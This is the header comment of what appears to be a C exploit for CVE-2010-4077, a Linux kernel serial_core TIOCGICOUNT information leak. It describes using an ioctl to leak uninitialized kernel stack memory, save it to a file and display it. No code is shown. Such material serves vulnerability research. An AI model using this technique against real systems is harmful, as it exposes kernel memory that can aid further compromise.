/* Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak
 * ================================================
 * Information leak exploit for CVE-2010-4077 which
 * leaks kernel stack space back to userland due to
 * uninitialized struct member "reserved" in struct
 * serial_icounter_struct copied to userland. uses
 * ioctl to trigger memory leak, dumps to file and
 * displays to command line.
